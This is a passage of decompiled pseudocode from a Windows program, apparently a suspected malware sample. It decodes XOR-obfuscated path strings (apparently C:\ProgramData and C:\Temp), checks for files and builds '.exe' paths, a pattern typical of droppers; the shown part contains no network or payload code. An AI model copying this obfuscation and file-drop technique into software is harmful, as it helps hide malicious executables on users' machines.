								__eflags = _t1092;
								if(_t1092 != 0) {
									asm("movups xmm0, [0x450ea8]");
									asm("movaps xmm1, [0x439d20]");
									asm("pxor xmm1, xmm0");
									 *0x450eb8 = _t1092 ^ 0x0000002e;
									asm("movups [0x450ea8], xmm1");
								}
								_t1463 = 0x450ea8;
								_v324 = 0;
								_v308 = 0;
								_v304 = 0xf;
								_v324 = 0;
								_t100 = _t1463 + 1; // 0x450ea9
								_t1611 = _t100;
								asm("o16 nop [eax+eax]");
								do {
									_t1093 =  *_t1463;
									_t1463 = _t1463 + 1;
									__eflags = _t1093;
								} while (_t1093 != 0);
								E004026C0(_t1306,  &_v324, 0x450ea8, _t1463 - _t1611);
								_v16 = 7;
								_t1612 = _v304;
								_t1466 = _v308;
								__eflags = _t1612 - _t1466 - 1;
								if(_t1612 - _t1466 < 1) {
									_v400 = 0;
									_t1097 = E00402990(_t1306,  &_v324, _t1681, _t1686, "true", _v400, "\\", "true");
								} else {
									__eflags = _t1612 - 0x10;
									_v308 =  &(1[_t1466]);
									_t1266 =  >=  ? _v324 :  &_v324;
									 *((short*)(( >=  ? _v324 :  &_v324) + _t1466)) = 0x5c;
									_t1097 =  &_v324;
								}
								_v452 = 0;
								_v436 = 0;
								_v432 = 0;
								asm("movups xmm0, [eax]");
								asm("movups [ebp-0x1b8], xmm0");
								asm("movq xmm0, [eax+0x10]");
								asm("movq [ebp-0x1a8], xmm0");
								 *(_t1097 + 0x10) = 0;
								 *(_t1097 + 0x14) = 0xf;
								 *_t1097 = 0;
								_v16 = 8;
								_t1099 = E0040C910( &_v428,  &_v452,  &_v372);
								_t1714 = _t1747 + 4;
								E004024A0(_t1306,  &_v396, _t1099);
								_t1614 = _v408;
								__eflags = _t1614 - 0x10;
								if(_t1614 < 0x10) {
									L57:
									_v16 = 7;
									_t1615 = _v432;
									_v412 = 0;
									_v408 = 0xf;
									_v428 = 0;
									__eflags = _t1615 - 0x10;
									if(_t1615 < 0x10) {
										L61:
										_v16 = 2;
										_t1616 = _v304;
										_v436 = 0;
										_v432 = 0xf;
										_v452 = 0;
										__eflags = _t1616 - 0x10;
										if(_t1616 < 0x10) {
											L65:
											_t1748 = _t1714 - 0x18;
											_v304 = _t1748;
											E0040BB10(_t1306, _t1748, _t1616, _t1681,  &_v348);
											_t1749 = _t1748 - 0x18;
											_v16 = 9;
											_t1471 = _t1749;
											E0040BB10(_t1306, _t1471, _t1616, _t1681,  &_v396);
											_v16 = 2;
											_t1105 = E00406800(_t1306, _t1471, _t1681, _t1686);
											_t1750 = _t1749 + 0x30;
											__eflags = _t1105;
											if(_t1105 == 0) {
												_t1106 =  *0x450e88; // 0x0
												_v316 = 0x7e72146d;
												_v312 = 0x5c49415c;
												_v308 = 0x4f6a434f;
												_v304 = 0x4f5a;
												_v401 = 0x2e;
												__eflags = _t1106 -  *((intOrPtr*)(_t1681 + 4));
												if(_t1106 >  *((intOrPtr*)(_t1681 + 4))) {
													E0040EEC8(_t1106, 0x450e88);
													_t1750 = _t1750 + 4;
													__eflags =  *0x450e88 - 0xffffffff;
													if(__eflags == 0) {
														asm("movq xmm0, [ebp-0x130]");
														 *0x451010 = _v308;
														 *0x451014 = _v304;
														asm("movq [0x451008], xmm0");
														 *0x451016 = _v401;
														E0040F1DA(_t1471, __eflags, 0x42cfc0);
														E0040EE7E(0x450e88);
														_t1750 = _t1750 + 8;
													}
												}
												__eflags =  *0x451016;
												if( *0x451016 != 0) {
													_t1223 = 0;
													__eflags = 0;
													do {
														 *(_t1223 + 0x451008) =  *(_t1223 + 0x451008) ^ 0x0000002e;
														_t1223 = _t1223 + 1;
														__eflags = _t1223 - 0xf;
													} while (_t1223 < 0xf);
												}
												_t1472 = 0x451008;
												_v452 = 0;
												_v436 = 0;
												_v432 = 0xf;
												_v452 = 0;
												_t201 = _t1472 + 1; // 0x451009
												_t1617 = _t201;
												do {
													_t1107 =  *_t1472;
													_t1472 = _t1472 + 1;
													__eflags = _t1107;
												} while (_t1107 != 0);
												E004026C0(_t1306,  &_v452, 0x451008, _t1472 - _t1617);
												_v16 = 0xc;
												_t1618 = _v432;
												_t1475 = _v436;
												__eflags = _t1618 - _t1475 - 1;
												if(_t1618 - _t1475 < 1) {
													_v400 = 0;
													_t1111 = E00402990(_t1306,  &_v452, _t1681, _t1686, "true", _v400, "\\", "true");
												} else {
													__eflags = _t1618 - 0x10;
													_v436 =  &(1[_t1475]);
													_t1222 =  >=  ? _v452 :  &_v452;
													 *((short*)(( >=  ? _v452 :  &_v452) + _t1475)) = 0x5c;
													_t1111 =  &_v452;
												}
												_v428 = 0;
												_v412 = 0;
												_v408 = 0;
												asm("movups xmm0, [eax]");
												asm("movups [ebp-0x1a0], xmm0");
												asm("movq xmm0, [eax+0x10]");
												asm("movq [ebp-0x190], xmm0");
												 *(_t1111 + 0x10) = 0;
												 *(_t1111 + 0x14) = 0xf;
												 *_t1111 = 0;
												_v16 = 0xd;
												_t1113 = E0040C910( &_v476,  &_v428,  &_v372);
												_t1714 = _t1750 + 4;
												E004024A0(_t1306,  &_v396, _t1113);
												_t1620 = _v456;
												__eflags = _t1620 - 0x10;
												if(_t1620 < 0x10) {
													L102:
													_v16 = 0xc;
													_t1621 = _v408;
													_v460 = 0;
													_v456 = 0xf;
													_v476 = 0;
													__eflags = _t1621 - 0x10;
													if(_t1621 < 0x10) {
														L106:
														_v16 = 2;
														_t1622 = _v432;
														_v412 = 0;
														_v408 = 0xf;
														_v428 = 0;
														__eflags = _t1622 - 0x10;
														if(_t1622 < 0x10) {
															L110:
															_t1751 = _t1714 - 0x18;
															_v304 = _t1751;
															E0040BB10(_t1306, _t1751, _t1622, _t1681,  &_v348);
															_t1752 = _t1751 - 0x18;
															_v16 = 0xe;
															_t1480 = _t1752;
															E0040BB10(_t1306, _t1480, _t1622, _t1681,  &_v396);
															_v16 = 2;
															_t1119 = E00406800(_t1306, _t1480, _t1681, _t1686);
															_t1753 = _t1752 + 0x30;
															__eflags = _t1119;
															if(_t1119 == 0) {
																_t1120 =  *0x450f14; // 0x0
																_v308 = 0x7a72146d;
																_v304 = 0x2e5e434b;
																__eflags = _t1120 -  *((intOrPtr*)(_t1681 + 4));
																if(_t1120 >  *((intOrPtr*)(_t1681 + 4))) {
																	E0040EEC8(_t1120, 0x450f14);
																	_t1753 = _t1753 + 4;
																	__eflags =  *0x450f14 - 0xffffffff;
																	if(__eflags == 0) {
																		 *0x450f38 = _v308;
																		 *0x450f3c = _v304;
																		E0040F1DA(_v304, __eflags, 0x42cfb0);
																		E0040EE7E(0x450f14);
																		_t1753 = _t1753 + 8;
																	}
																}
																_t1121 =  *0x450f3f; // 0x0
																__eflags = _t1121;
																if(_t1121 != 0) {
																	 *0x450f38 =  *0x450f38 ^ 0x0000002e;
																	 *0x450f39 =  *0x450f39 ^ 0x0000002e;
																	 *0x450f3a =  *0x450f3a ^ 0x0000002e;
																	 *0x450f3b =  *0x450f3b ^ 0x0000002e;
																	 *0x450f3c =  *0x450f3c ^ 0x0000002e;
																	 *0x450f3d =  *0x450f3d ^ 0x0000002e;
																	 *0x450f3e =  *0x450f3e ^ 0x0000002e;
																	_t1181 = _t1121 ^ 0x0000002e;
																	__eflags = _t1181;
																	 *0x450f3f = _t1181;
																}
																_t1481 = 0x450f38;
																_v452 = 0;
																_v436 = 0;
																_v432 = 0xf;
																_v452 = 0;
																_t296 =  &(_t1481[1]); // 0x450f39
																_t1623 = _t296;
																do {
																	_t1122 =  *_t1481;
																	_t1481 =  &(_t1481[1]);
																	__eflags = _t1122;
																} while (_t1122 != 0);
																E004026C0(_t1306,  &_v452, 0x450f38, _t1481 - _t1623);
																_v16 = 0x11;
																_t1624 = _v432;
																_t1484 = _v436;
																__eflags = _t1624 - _t1484 - 1;
																if(_t1624 - _t1484 < 1) {
																	_v400 = 0;
																	_t1126 = E00402990(_t1306,  &_v452, _t1681, _t1686, "true", _v400, "\\", "true");
																} else {
																	__eflags = _t1624 - 0x10;
																	_v436 =  &(1[_t1484]);
																	_t1180 =  >=  ? _v452 :  &_v452;
																	 *((short*)(( >=  ? _v452 :  &_v452) + _t1484)) = 0x5c;
																	_t1126 =  &_v452;
																}
																_v428 = 0;
																_v412 = 0;
																_v408 = 0;
																asm("movups xmm0, [eax]");
																asm("movups [ebp-0x1a0], xmm0");
																asm("movq xmm0, [eax+0x10]");
																asm("movq [ebp-0x190], xmm0");
																 *(_t1126 + 0x10) = 0;
																 *(_t1126 + 0x14) = 0xf;
																 *_t1126 = 0;
																_v16 = 0x12;
																_t1128 = E0040C910( &_v476,  &_v428,  &_v372);
																_t1714 = _t1753 + 4;
																E004024A0(_t1306,  &_v396, _t1128);
																_t1626 = _v456;
																__eflags = _t1626 - 0x10;
																if(_t1626 < 0x10) {
																	L146:
																	_v16 = 0x11;
																	_t1627 = _v408;
																	_v460 = 0;
																	_v456 = 0xf;
																	_v476 = 0;
																	__eflags = _t1627 - 0x10;
																	if(_t1627 < 0x10) {
																		L150:
																		_v16 = 2;
																		_t1628 = _v432;
																		_v412 = 0;
																		_v408 = 0xf;
																		_v428 = 0;
																		__eflags = _t1628 - 0x10;
																		if(_t1628 < 0x10) {
																			L154:
																			_t1754 = _t1714 - 0x18;
																			_v304 = _t1754;
																			E0040BB10(_t1306, _t1754, _t1628, _t1681,  &_v348);
																			_t1755 = _t1754 - 0x18;
																			_v16 = 0x13;
																			_t1489 = _t1755;
																			E0040BB10(_t1306, _t1489, _t1628, _t1681,  &_v396);
																			_v16 = 2;
																			_t1134 = E00406800(_t1306, _t1489, _t1681, _t1686);
																			_t1714 = _t1755 + 0x30;
																			__eflags = _t1134;
																			if(_t1134 == 0) {
																				_v16 = 1;
																				_t1629 = _v328;
																				__eflags = _t1629 - 0x10;
																				if(_t1629 < 0x10) {
																					L180:
																					_v16 = 0;
																					_t1554 = _v352;
																					_v332 = 0;
																					_v328 = 0xf;
																					_v348 = 0;
																					__eflags = _t1554 - 0x10;
																					if(_t1554 < 0x10) {
																						L309:
																						E00402520(_t1686, 0x4399f7);
																						L310:
																						E00402450(_t1306,  &_v396);
																						goto L311;
																					} else {
																						_t1490 = _v372;
																						_t1554 =  &(1[_t1554]);
																						_t1135 = _t1490;
																						__eflags = _t1554 - 0x1000;
																						if(_t1554 < 0x1000) {
																							L183:
																							_push(_t1554);
																							E0040ED7F(_t1490);
																							goto L309;
																						} else {
																							_t1357 =  *((intOrPtr*)(_t1490 - 4));
																							_t1554 = _t1554 + 0x23;
																							__eflags = _t1135 -  *((intOrPtr*)(_t1490 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L313;
																							} else {
																								goto L183;
																							}
																						}
																					}
																				} else {
																					_t1491 = _v348;
																					_t1630 = _t1629 + 1;
																					_t1139 = _t1491;
																					__eflags = _t1630 - 0x1000;
																					if(_t1630 < 0x1000) {
																						L179:
																						_push(_t1630);
																						E0040ED7F(_t1491);
																						_t1714 = _t1714 + 8;
																						goto L180;
																					} else {
																						_t1357 =  *((intOrPtr*)(_t1491 - 4));
																						_t1554 = _t1630 + 0x23;
																						__eflags = _t1139 -  *((intOrPtr*)(_t1491 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L313;
																						} else {
																							goto L179;
																						}
																					}
																				}
																			} else {
																				_push(_t1489);
																				_t1143 = E0040C6F0( &_v428,  &_v396);
																				_v16 = 0x14;
																				_t1144 = E0040C910( &_v476, _t1143,  &_v348);
																				_t1714 = _t1714 + 8;
																				_t1495 = _t1144;
																				_v16 = 0x15;
																				_t1681 =  *(_t1495 + 0x14);
																				_t1633 =  *(_t1495 + 0x10);
																				__eflags = _t1681 - _t1633 - 4;
																				if(_t1681 - _t1633 < 4) {
																					_v400 = 0;
																					_t1495 = E00402990(_t1306, _t1495, _t1681, _t1686, 4, _v400, ".exe", 4);
																				} else {
																					 *(_t1495 + 0x10) = _t1633 + 4;
																					_t1165 = _t1495;
																					__eflags = _t1681 - 0x10;
																					if(_t1681 >= 0x10) {
																						_t1165 =  *_t1495;
																					}
																					 *((intOrPtr*)(_t1165 + _t1633)) = 0x6578652e;
																					 *((char*)(_t1165 + _t1633 + 4)) = 0;
																				}
																				 *_t1686 = 0;
																				 *(_t1686 + 0x10) = 0;
																				 *(_t1686 + 0x14) = 0;
																				asm("movups xmm0, [ecx]");
																				asm("movups [esi], xmm0");
																				asm("movq xmm0, [ecx+0x10]");
																				asm("movq [esi+0x10], xmm0");
																				 *(_t1495 + 0x10) = 0;
																				 *(_t1495 + 0x14) = 0xf;
																				 *_t1495 = 0;
																				_t1634 = _v456;
																				__eflags = _t1634 - 0x10;
																				if(_t1634 < 0x10) {
																					L164:
																					_t1635 = _v408;
																					_v460 = 0;
																					_v456 = 0xf;
																					_v476 = 0;
																					__eflags = _t1635 - 0x10;
																					if(_t1635 < 0x10) {
																						L168:
																						_t1636 = _v328;
																						_v412 = 0;
																						_v408 = 0xf;
																						_v428 = 0;
																						__eflags = _t1636 - 0x10;
																						if(_t1636 < 0x10) {
																							L172:
																							_t1637 = _v352;
																							_v332 = 0;
																							_v328 = 0xf;
																							_v348 = 0;
																							__eflags = _t1637 - 0x10;
																							if(__eflags < 0) {
																								goto L38;
																							} else {
																								_t1496 = _v372;
																								_t1638 = _t1637 + 1;
																								_t1148 = _t1496;
																								__eflags = _t1638 - 0x1000;
																								if(__eflags < 0) {
																									goto L37;
																								} else {
																									_t1357 =  *((intOrPtr*)(_t1496 - 4));
																									_t1554 = _t1638 + 0x23;
																									__eflags = _t1148 -  *((intOrPtr*)(_t1496 - 4)) + 0xfffffffc - 0x1f;
																									if(__eflags > 0) {
																										goto L313;
																									} else {
																										goto L37;
																									}
																								}
																							}
																						} else {
																							_t1497 = _v348;
																							_t1639 = _t1636 + 1;
																							_t1152 = _t1497;
																							__eflags = _t1639 - 0x1000;
																							if(_t1639 < 0x1000) {
																								L171:
																								_push(_t1639);
																								E0040ED7F(_t1497);
																								_t1714 = _t1714 + 8;
																								goto L172;
																							} else {
																								_t1357 =  *((intOrPtr*)(_t1497 - 4));
																								_t1554 = _t1639 + 0x23;
																								__eflags = _t1152 -  *((intOrPtr*)(_t1497 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L313;
																								} else {
																									goto L171;
																								}
																							}
																						}
																					} else {
																						_t1498 = _v428;
																						_t1640 = _t1635 + 1;
																						_t1156 = _t1498;
																						__eflags = _t1640 - 0x1000;
																						if(_t1640 < 0x1000) {
																							L167:
																							_push(_t1640);
																							E0040ED7F(_t1498);
																							_t1714 = _t1714 + 8;
																							goto L168;
																						} else {
																							_t1357 =  *((intOrPtr*)(_t1498 - 4));
																							_t1554 = _t1640 + 0x23;
																							__eflags = _t1156 -  *((intOrPtr*)(_t1498 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L313;
																							} else {
																								goto L167;
																							}
																						}
																					}
																				} else {
																					_t1499 = _v476;
																					_t1641 = _t1634 + 1;
																					_t1160 = _t1499;
																					__eflags = _t1641 - 0x1000;
																					if(_t1641 < 0x1000) {
																						L163:
																						_push(_t1641);
																						E0040ED7F(_t1499);
																						_t1714 = _t1714 + 8;
																						goto L164;
																					} else {
																						_t1357 =  *((intOrPtr*)(_t1499 - 4));
																						_t1554 = _t1641 + 0x23;
																						__eflags = _t1160 -  *((intOrPtr*)(_t1499 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L313;
																						} else {
																							goto L163;
																						}
																					}
																				}
																			}
																		} else {
																			_t1500 = _v452;
																			_t1628 = _t1628 + 1;
																			_t1166 = _t1500;
																			__eflags = _t1628 - 0x1000;
																			if(_t1628 < 0x1000) {
																				L153:
																				_push(_t1628);
																				E0040ED7F(_t1500);
																				_t1714 = _t1714 + 8;
																				goto L154;
																			} else {
																				_t1357 =  *((intOrPtr*)(_t1500 - 4));
																				_t1554 = _t1628 + 0x23;
																				__eflags = _t1166 -  *((intOrPtr*)(_t1500 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L313;
																				} else {
																					goto L153;
																				}
																			}
																		}
																	} else {
																		_t1501 = _v428;
																		_t1642 = _t1627 + 1;
																		_t1170 = _t1501;
																		__eflags = _t1642 - 0x1000;
																		if(_t1642 < 0x1000) {
																			L149:
																			_push(_t1642);
																			E0040ED7F(_t1501);
																			_t1714 = _t1714 + 8;
																			goto L150;
																		} else {
																			_t1357 =  *((intOrPtr*)(_t1501 - 4));
																			_t1554 = _t1642 + 0x23;
																			__eflags = _t1170 -  *((intOrPtr*)(_t1501 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L149;
																			}
																		}
																	}
																} else {
																	_t1502 = _v476;
																	_t1643 = _t1626 + 1;
																	_t1174 = _t1502;
																	__eflags = _t1643 - 0x1000;
																	if(_t1643 < 0x1000) {
																		L145:
																		_push(_t1643);
																		E0040ED7F(_t1502);
																		_t1714 = _t1714 + 8;
																		goto L146;
																	} else {
																		_t1357 =  *((intOrPtr*)(_t1502 - 4));
																		_t1554 = _t1643 + 0x23;
																		__eflags = _t1174 -  *((intOrPtr*)(_t1502 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L145;
																		}
																	}
																}
															} else {
																_push(_t1480);
																_t1186 = E0040C6F0( &_v428,  &_v396);
																_v16 = 0xf;
																_t1187 = E0040C910( &_v476, _t1186,  &_v348);
																_t1714 = _t1753 + 8;
																_t1507 = _t1187;
																_v16 = 0x10;
																_t1681 =  *(_t1507 + 0x14);
																_t1646 =  *(_t1507 + 0x10);
																__eflags = _t1681 - _t1646 - 4;
																if(_t1681 - _t1646 < 4) {
																	_v400 = 0;
																	_t1507 = E00402990(_t1306, _t1507, _t1681, _t1686, 4, _v400, ".exe", 4);
																} else {
																	 *(_t1507 + 0x10) = _t1646 + 4;
																	_t1207 = _t1507;
																	__eflags = _t1681 - 0x10;
																	if(_t1681 >= 0x10) {
																		_t1207 =  *_t1507;
																	}
																	 *((intOrPtr*)(_t1207 + _t1646)) = 0x6578652e;
																	 *((char*)(_t1207 + _t1646 + 4)) = 0;
																}
																 *_t1686 = 0;
																 *(_t1686 + 0x10) = 0;
																 *(_t1686 + 0x14) = 0;
																asm("movups xmm0, [ecx]");
																asm("movups [esi], xmm0");
																asm("movq xmm0, [ecx+0x10]");
																asm("movq [esi+0x10], xmm0");
																 *(_t1507 + 0x10) = 0;
																 *(_t1507 + 0x14) = 0xf;
																 *_t1507 = 0;
																_t1647 = _v456;
																__eflags = _t1647 - 0x10;
																if(_t1647 < 0x10) {
																	L120:
																	_t1648 = _v408;
																	_v460 = 0;
																	_v456 = 0xf;
																	_v476 = 0;
																	__eflags = _t1648 - 0x10;
																	if(_t1648 < 0x10) {
																		L124:
																		_t1649 = _v328;
																		_v412 = 0;
																		_v408 = 0xf;
																		_v428 = 0;
																		__eflags = _t1649 - 0x10;
																		if(_t1649 < 0x10) {
																			L128:
																			_t1650 = _v352;
																			_v332 = 0;
																			_v328 = 0xf;
																			_v348 = 0;
																			__eflags = _t1650 - 0x10;
																			if(__eflags < 0) {
																				goto L38;
																			} else {
																				_t1496 = _v372;
																				_t1638 = _t1650 + 1;
																				_t1191 = _t1496;
																				__eflags = _t1638 - 0x1000;
																				if(__eflags < 0) {
																					goto L37;
																				} else {
																					_t1357 =  *((intOrPtr*)(_t1496 - 4));
																					_t1554 = _t1638 + 0x23;
																					__eflags = _t1191 -  *((intOrPtr*)(_t1496 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L313;
																					} else {
																						goto L37;
																					}
																				}
																			}
																		} else {
																			_t1508 = _v348;
																			_t1651 = _t1649 + 1;
																			_t1194 = _t1508;
																			__eflags = _t1651 - 0x1000;
																			if(_t1651 < 0x1000) {
																				L127:
																				_push(_t1651);
																				E0040ED7F(_t1508);
																				_t1714 = _t1714 + 8;
																				goto L128;
																			} else {
																				_t1357 =  *((intOrPtr*)(_t1508 - 4));
																				_t1554 = _t1651 + 0x23;
																				__eflags = _t1194 -  *((intOrPtr*)(_t1508 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L313;
																				} else {
																					goto L127;
																				}
																			}
																		}
																	} else {
																		_t1509 = _v428;
																		_t1652 = _t1648 + 1;
																		_t1198 = _t1509;
																		__eflags = _t1652 - 0x1000;
																		if(_t1652 < 0x1000) {
																			L123:
																			_push(_t1652);
																			E0040ED7F(_t1509);
																			_t1714 = _t1714 + 8;
																			goto L124;
																		} else {
																			_t1357 =  *((intOrPtr*)(_t1509 - 4));
																			_t1554 = _t1652 + 0x23;
																			__eflags = _t1198 -  *((intOrPtr*)(_t1509 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L123;
																			}
																		}
																	}
																} else {
																	_t1510 = _v476;
																	_t1653 = _t1647 + 1;
																	_t1202 = _t1510;
																	__eflags = _t1653 - 0x1000;
																	if(_t1653 < 0x1000) {
																		L119:
																		_push(_t1653);
																		E0040ED7F(_t1510);
																		_t1714 = _t1714 + 8;
																		goto L120;
																	} else {
																		_t1357 =  *((intOrPtr*)(_t1510 - 4));
																		_t1554 = _t1653 + 0x23;
																		__eflags = _t1202 -  *((intOrPtr*)(_t1510 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L119;
																		}
																	}
																}
															}
														} else {
															_t1511 = _v452;
															_t1622 = _t1622 + 1;
															_t1208 = _t1511;
															__eflags = _t1622 - 0x1000;
															if(_t1622 < 0x1000) {
																L109:
																_push(_t1622);
																E0040ED7F(_t1511);
																_t1714 = _t1714 + 8;
																goto L110;
															} else {
																_t1357 =  *((intOrPtr*)(_t1511 - 4));
																_t1554 = _t1622 + 0x23;
																__eflags = _t1208 -  *((intOrPtr*)(_t1511 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L109;
																}
															}
														}
													} else {
														_t1512 = _v428;
														_t1654 = _t1621 + 1;
														_t1212 = _t1512;
														__eflags = _t1654 - 0x1000;
														if(_t1654 < 0x1000) {
															L105:
															_push(_t1654);
															E0040ED7F(_t1512);
															_t1714 = _t1714 + 8;
															goto L106;
														} else {
															_t1357 =  *((intOrPtr*)(_t1512 - 4));
															_t1554 = _t1654 + 0x23;
															__eflags = _t1212 -  *((intOrPtr*)(_t1512 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L105;
															}
														}
													}
												} else {
													_t1513 = _v476;
													_t1655 = _t1620 + 1;
													_t1216 = _t1513;
													__eflags = _t1655 - 0x1000;
													if(_t1655 < 0x1000) {
														L101:
														_push(_t1655);
														E0040ED7F(_t1513);
														_t1714 = _t1714 + 8;
														goto L102;
													} else {
														_t1357 =  *((intOrPtr*)(_t1513 - 4));
														_t1554 = _t1655 + 0x23;
														__eflags = _t1216 -  *((intOrPtr*)(_t1513 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L101;
														}
													}
												}
											} else {
												_push(_t1471);
												_t1230 = E0040C6F0( &_v452,  &_v396);
												_v16 = 0xa;
												_t1231 = E0040C910( &_v428, _t1230,  &_v348);
												_t1714 = _t1750 + 8;
												_t1517 = _t1231;
												_v16 = 0xb;
												_t1681 =  *(_t1517 + 0x14);
												_t1658 =  *(_t1517 + 0x10);
												__eflags = _t1681 - _t1658 - 4;
												if(_t1681 - _t1658 < 4) {
													_v400 = 0;
													_t1517 = E00402990(_t1306, _t1517, _t1681, _t1686, 4, _v400, ".exe", 4);
												} else {
													 *(_t1517 + 0x10) = _t1658 + 4;
													_t1251 = _t1517;
													__eflags = _t1681 - 0x10;
													if(_t1681 >= 0x10) {
														_t1251 =  *_t1517;
													}
													 *((intOrPtr*)(_t1251 + _t1658)) = 0x6578652e;
													 *((char*)(_t1251 + _t1658 + 4)) = 0;
												}
												 *_t1686 = 0;
												 *(_t1686 + 0x10) = 0;
												 *(_t1686 + 0x14) = 0;
												asm("movups xmm0, [ecx]");
												asm("movups [esi], xmm0");
												asm("movq xmm0, [ecx+0x10]");
												asm("movq [esi+0x10], xmm0");
												 *(_t1517 + 0x10) = 0;
												 *(_t1517 + 0x14) = 0xf;
												 *_t1517 = 0;
												_t1659 = _v408;
												__eflags = _t1659 - 0x10;
												if(_t1659 < 0x10) {
													L75:
													_t1660 = _v432;
													_v412 = 0;
													_v408 = 0xf;
													_v428 = 0;
													__eflags = _t1660 - 0x10;
													if(_t1660 < 0x10) {
														L79:
														_t1661 = _v328;
														_v436 = 0;
														_v432 = 0xf;
														_v452 = 0;
														__eflags = _t1661 - 0x10;
														if(_t1661 < 0x10) {
															L83:
															_t1662 = _v352;
															_v332 = 0;
															_v328 = 0xf;
															_v348 = 0;
															__eflags = _t1662 - 0x10;
															if(__eflags < 0) {
																goto L38;
															} else {
																_t1496 = _v372;
																_t1638 = _t1662 + 1;
																_t1235 = _t1496;
																__eflags = _t1638 - 0x1000;
																if(__eflags < 0) {
																	goto L37;
																} else {
																	_t1357 =  *((intOrPtr*)(_t1496 - 4));
																	_t1554 = _t1638 + 0x23;
																	__eflags = _t1235 -  *((intOrPtr*)(_t1496 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L37;
																	}
																}
															}
														} else {
															_t1518 = _v348;
															_t1663 = _t1661 + 1;
															_t1238 = _t1518;
															__eflags = _t1663 - 0x1000;
															if(_t1663 < 0x1000) {
																L82:
																_push(_t1663);
																E0040ED7F(_t1518);
																_t1714 = _t1714 + 8;
																goto L83;
															} else {
																_t1357 =  *((intOrPtr*)(_t1518 - 4));
																_t1554 = _t1663 + 0x23;
																__eflags = _t1238 -  *((intOrPtr*)(_t1518 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L82;
																}
															}
														}
													} else {
														_t1519 = _v452;
														_t1664 = _t1660 + 1;
														_t1242 = _t1519;
														__eflags = _t1664 - 0x1000;
														if(_t1664 < 0x1000) {
															L78:
															_push(_t1664);
															E0040ED7F(_t1519);
															_t1714 = _t1714 + 8;
															goto L79;
														} else {
															_t1357 =  *((intOrPtr*)(_t1519 - 4));
															_t1554 = _t1664 + 0x23;
															__eflags = _t1242 -  *((intOrPtr*)(_t1519 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L78;
															}
														}
													}
												} else {
													_t1520 = _v428;
													_t1665 = _t1659 + 1;
													_t1246 = _t1520;
													__eflags = _t1665 - 0x1000;
													if(_t1665 < 0x1000) {
														L74:
														_push(_t1665);
														E0040ED7F(_t1520);
														_t1714 = _t1714 + 8;
														goto L75;
													} else {
														_t1357 =  *((intOrPtr*)(_t1520 - 4));
														_t1554 = _t1665 + 0x23;
														__eflags = _t1246 -  *((intOrPtr*)(_t1520 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L74;
														}
													}
												}
											}
										} else {
											_t1521 = _v324;
											_t1616 =  &(1[_t1616]);
											_t1252 = _t1521;
											__eflags = _t1616 - 0x1000;
											if(_t1616 < 0x1000) {
												L64:
												_push(_t1616);
												E0040ED7F(_t1521);
												_t1714 = _t1714 + 8;
												goto L65;
											} else {
												_t1357 =  *((intOrPtr*)(_t1521 - 4));
												_t1554 = _t1616 + 0x23;
												__eflags = _t1252 -  *((intOrPtr*)(_t1521 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L314;
												} else {
													goto L64;
												}
											}
										}
									} else {
										_t1522 = _v452;
										_t1666 = _t1615 + 1;
										_t1256 = _t1522;
										__eflags = _t1666 - 0x1000;
										if(_t1666 < 0x1000) {
											L60:
											_push(_t1666);
											E0040ED7F(_t1522);
											_t1714 = _t1714 + 8;
											goto L61;
										} else {
											_t1357 =  *((intOrPtr*)(_t1522 - 4));
											_t1554 = _t1666 + 0x23;
											__eflags = _t1256 -  *((intOrPtr*)(_t1522 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L314;
											} else {
												goto L60;
											}
										}
									}
								} else {
									_t1523 = _v428;
									_t1667 = _t1614 + 1;
									_t1260 = _t1523;
									__eflags = _t1667 - 0x1000;
									if(_t1667 < 0x1000) {
										L56:
										_push(_t1667);
										E0040ED7F(_t1523);
										_t1714 = _t1714 + 8;
										goto L57;
									} else {
										_t1357 =  *((intOrPtr*)(_t1523 - 4));
										_t1554 = _t1667 + 0x23;
										__eflags = _t1260 -  *((intOrPtr*)(_t1523 - 4)) + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L314;
										} else {
											goto L56;
										}
									}
								}
							} else {
								_push(_t1462);
								_t1272 = E0040C6F0( &_v452,  &_v396);
								_v16 = 5;
								_t1273 = E0040C910( &_v428, _t1272,  &_v348);
								_t1714 = _t1747 + 8;
								_t1527 = _t1273;
								_v16 = 6;
								_t1681 =  *(_t1527 + 0x14);
								_t1670 =  *(_t1527 + 0x10);
								if(_t1681 - _t1670 < 4) {
									_v400 = 0;
									_t1527 = E00402990(_t1306, _t1527, _t1681, _t1686, 4, _v400, ".exe", 4);
								} else {
									 *(_t1527 + 0x10) = _t1670 + 4;
									_t1293 = _t1527;
									if(_t1681 >= 0x10) {
										_t1293 =  *_t1527;
									}
									 *((intOrPtr*)(_t1293 + _t1670)) = 0x6578652e;
									 *((char*)(_t1293 + _t1670 + 4)) = 0;
								}
								 *_t1686 = 0;
								 *(_t1686 + 0x10) = 0;
